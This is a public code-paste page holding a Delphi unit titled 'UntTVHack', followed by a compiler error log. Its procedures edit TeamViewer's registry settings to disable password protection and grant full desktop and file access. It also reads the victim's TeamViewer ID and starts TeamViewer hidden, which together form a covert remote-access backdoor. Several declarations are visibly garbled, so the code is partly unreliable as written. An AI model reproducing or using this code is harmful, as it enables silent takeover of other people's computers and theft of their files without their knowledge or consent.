fork(1) download
copy 
  1. (*
  2. -----------------------------------------------------
  3. Author   : DarkCoderSc
  4. From     : France
  5. Mail     : arkCoderSc@Unremote.org>DarkCoderSc@Unremote.org
  6. ----------------------------------------------------
  7. Comunity : Http://w...content-available-to-author-only...c.ws/
  8. ----------------------------------------------------
  9. Require Registry.pas , Classes , Sysutils to be add in uses
  10. ----------------------------------------------------
  11. *)
  12. unit UntTVHack;
  13. interface
  14. Uses Windows,Registry,Sysutils,ShellAPI;
  15. {---------------------------------------------------}
  16. Procedure TVUnactivePassWD;
  17. Procedure TVFullAccess;
  18. Function TVID : Integer;
  19. Function TVFormatIDToString(TID:Integer) : String;
  20. Procedure RunTVHide;
  21. Function TVCheckVersion : String;
  22. Function TVGetFullVersion : String;
  23. Function GetTVPathtring;
  24. {---------------------------------------------------}
  25. implementation
  26. {---------------------------------------------------}
  27. Const TeamViewer0 = 'SOFTWARE\TeamViewer';
  28. {---------------------------------------------------}
  29. {Get the TV Version---------}
  30. Function TVCheckVersion : String;
  31. var Reg : TRegistry;
  32. Begin
  33. Reg := TRegistry.Create;
  34. {---------------------------}
  35. Reg.RootKey := HKEY_LOCAL_MACHINE;
  36. Reg.OpenKey(TeamViewer0,True);
  37. If Reg.KeyExists('Version3') Then Result := '\Version3';
  38. If Reg.KeyExists('Version4') Then Result := '\Version4';
  39. If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
  40. Result := '[Not Installed]';
  41. {---------------------------}
  42. Reg.CloseKey;
  43. Reg.Free;
  44. End;
  45. {---------------------------------------------------}
  46. {Get the Full TV Version-----------------------------}
  47. Function TVGetFullVersion : String;
  48. var Reg : TRegistry;
  49. Begin
  50. Reg := TRegistry.Create;
  51. {---------------------------}
  52. Reg.RootKey := HKEY_LOCAL_MACHINE;
  53. Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
  54. Result := Reg.ReadString('Version');
  55. {---------------------------}
  56. Reg.CloseKey;
  57. Reg.Free;
  58. End;
  59. {---------------------------------------------------}
  60. {This will unactive team viewer pass word protection O_o}
  61. Procedure TVUnactivePassWD;
  62. var Reg : TRegistry;
  63. Begin
  64. Reg := TRegistry.Create;
  65. {---------------------------}
  66. Reg.RootKey := HKEY_LOCAL_MACHINE;
  67. Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
  68. Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
  69. {---------------------------}
  70. Reg.CloseKey;
  71. Reg.Free;
  72. End;
  73. {---------------------------------------------------}
  74. {This will give the full access of dekstop and files}
  75. Procedure TVFullAccess;
  76. var Reg : TRegistry;
  77. Begin
  78. Reg := TRegistry.Create;
  79. {---------------------------}
  80. Reg.RootKey := HKEY_LOCAL_MACHINE;
  81. Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
  82. Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
  83. {---------------------------}
  84. Reg.CloseKey;
  85. Reg.Free;
  86. End;
  87. {---------------------------------------------------}
  88. {This will give the Team Viewer ID}
  89. Function TVID : Integer;
  90. var Reg : TRegistry;
  91. Begin
  92. Reg := TRegistry.Create;
  93. {---------------------------}
  94. Reg.RootKey := HKEY_LOCAL_MACHINE;
  95. Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
  96. Result := Reg.ReadInteger('ClientID'); // Disable Password query
  97. {---------------------------}
  98. Reg.CloseKey;
  99. Reg.Free;
  100. End;
  101. {---------------------------------------------------}
  102. {This little function will format in String- the TeamViewer ID}
  103. Function TVFormatIDToString(TID:Integer) : String;
  104. Var bloc,bloc1,bloc2,bloc3tring;
  105. Begin
  106. bloc := IntToStr(TID);
  107. {Parse ID------------------------}
  108. bloc1 := Copy(bloc,1,3);
  109. Delete(bloc,1,3);
  110. bloc2 := Copy(bloc,1,3);
  111. Delete(bloc,1,3);
  112. bloc3 := Copy(bloc,1,3);
  113. Delete(bloc,1,3);
  114. {--------------------------------}
  115. Result := bloc1+' '+bloc2+' '+bloc3;
  116. End;
  117. {---------------------------------------------------}
  118. {Now Launch Team Viewer Hidely}
  119. Procedure RunTVHide;
  120. var Reg : TRegistry;
  121. TVPATH : String;
  122. Begin
  123. Reg := TRegistry.Create;
  124. {---------------------------}
  125. Reg.RootKey := HKEY_LOCAL_MACHINE;
  126. Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
  127. TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
  128. {---------------------------}
  129. ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
  130. {---------------------------}
  131. Reg.CloseKey;
  132. Reg.Free;
  133. End;
  134. Function GetTVPathtring;
  135. var Reg : TRegistry;
  136. TVPATH : String;
  137. Begin
  138. Reg := TRegistry.Create;
  139. {---------------------------}
  140. Reg.RootKey := HKEY_LOCAL_MACHINE;
  141. Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
  142. TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
  143. {---------------------------}
  144. Result := TVPath;
  145. {---------------------------}
  146. Reg.CloseKey;
  147. Reg.Free;
  148. End;
  149. {---------------------------------------------------}
  150. end.
Compilation error #stdin compilation error #stdout 0s 0KB
comments (?)
stdin
copy 
Standard input is empty
compilation info 
prog.pas:14: error: module/unit interface `Windows' could not be imported
stdout
copy 
Standard output is empty
https://ideone.com/2vqMC
language:
Pascal (gpc 20070904)
created:
14 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!